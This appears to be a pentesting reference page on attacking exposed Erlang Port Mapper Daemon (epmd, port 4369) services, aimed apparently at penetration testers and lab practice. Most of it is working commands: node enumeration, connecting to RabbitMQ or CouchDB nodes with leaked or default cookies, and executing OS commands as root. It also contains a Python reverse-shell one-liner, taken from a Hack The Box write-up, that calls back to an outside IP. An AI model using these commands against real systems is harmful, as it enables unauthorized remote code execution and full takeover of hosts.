Erlang Port Mapper Daemon - PORT 4369

Basic info

  • epmd is a service used by Erlang nodes to find each other in a cluster.

  • It listens by default on TCP/4369 and keeps track of running nodes + their associated ports.

  • When an Erlang node starts, it registers with epmd. Other nodes can then query epmd to discover connection details.

The issue? If epmd is exposed to the internet without access controls, an attacker can enumerate running nodes and sometimes connect directly to the Erlang shell, leading to RCE.


Enumeration

When you see port 4369 open, the first step is enumeration.

Nmap Service Detection

nmap -sV -p 4369 <target>

Output:

4369/tcp open  epmd Erlang Port Mapper Daemon

Connect to epmd

You can query epmd directly using ncat or Erlang tools.

nc <target> 4369

If you send:

\x00\x01\x6e

(epmd n command), it responds with a list of nodes.

Output:

echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369

#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses

Or use built-in tools:

epmd -names -host <target>

output:

epmd: up and running on port 4369 with data:
name rabbit at port 25672

Here, rabbit is a registered Erlang node (often RabbitMQ or CouchDB).


Exploitation Scenarios

Once we know there’s an Erlang node, exploitation depends on the application running and security settings.

Scenario A – Connecting to Erlang Shell

If the Erlang node is configured with no cookie authentication or uses a default cookie, you can connect directly:

erl -name attacker@<your_ip> -setcookie <cookie>

Then connect to target node:

net_adm:ping('rabbit@<target_ip>').

If successful:

pong

You now have a shell inside the Erlang node, where you can execute code.

Scenario B – Exploiting RabbitMQ / CouchDB

Applications like RabbitMQ (default uses rabbit node) rely on epmd. If the cookie is compromised, you can fully control the broker.

PoC to execute OS commands:

os:cmd("id").

If successful, you get:

"uid=0(root) gid=0(root) groups=0(root)\n"

Remote Connection

If you can leak the Authentication cookie you will be able to execute code on the host. Usually, this cookie is located in ~/.erlang.cookie and is generated by erlang at the first start. If not modified or set manually it is a random string [A:Z] with a length of 20 characters.

greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh [email protected]
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]

Eshell V8.1 (abort with ^G)

At last, we can start an erlang shell on the remote system.

([email protected])1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"

More information in https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/ The author also share a program to brutforce the cookie:

Local Connection

In this case we are going to abuse CouchDB to escalate privileges locally:

HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).

Example taken from https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution You can use Canape HTB machine to practice how to exploit this vuln.


Exploitation Workflow

Here’s a step-by-step attack chain:

  1. Scan target

    nmap -p4369 <target>
  2. Enumerate nodes

    epmd -names -host <target>
  3. Extract Erlang cookie

    • Sometimes it’s in config files (/var/lib/rabbitmq/.erlang.cookie)

    • Weak/default cookie values (cookie, rabbit) are common in old setups.

  4. Connect using erl

    erl -name pentester@<your_ip> -setcookie rabbit
  5. Ping the node

    net_adm:ping('rabbit@<target_ip>').
  6. Execute OS commands

    rpc:call('rabbit@<target_ip>', os, cmd, ["whoami"]).

    Result:

    "root\n"

Tools for Exploiting epmd

  • Metasploit Module: auxiliary/scanner/erlang/epmd_enum

    use auxiliary/scanner/erlang/epmd_enum
    set RHOSTS <target>
    run
  • Nmap enumeration

nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>

PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|     bigcouch: 11502
|     freeswitch: 8031
|     ecallmgr: 11501
|     kazoo_apps: 11500
|_    kazoo-rabbitmq: 25672

Last updated

Was this helpful?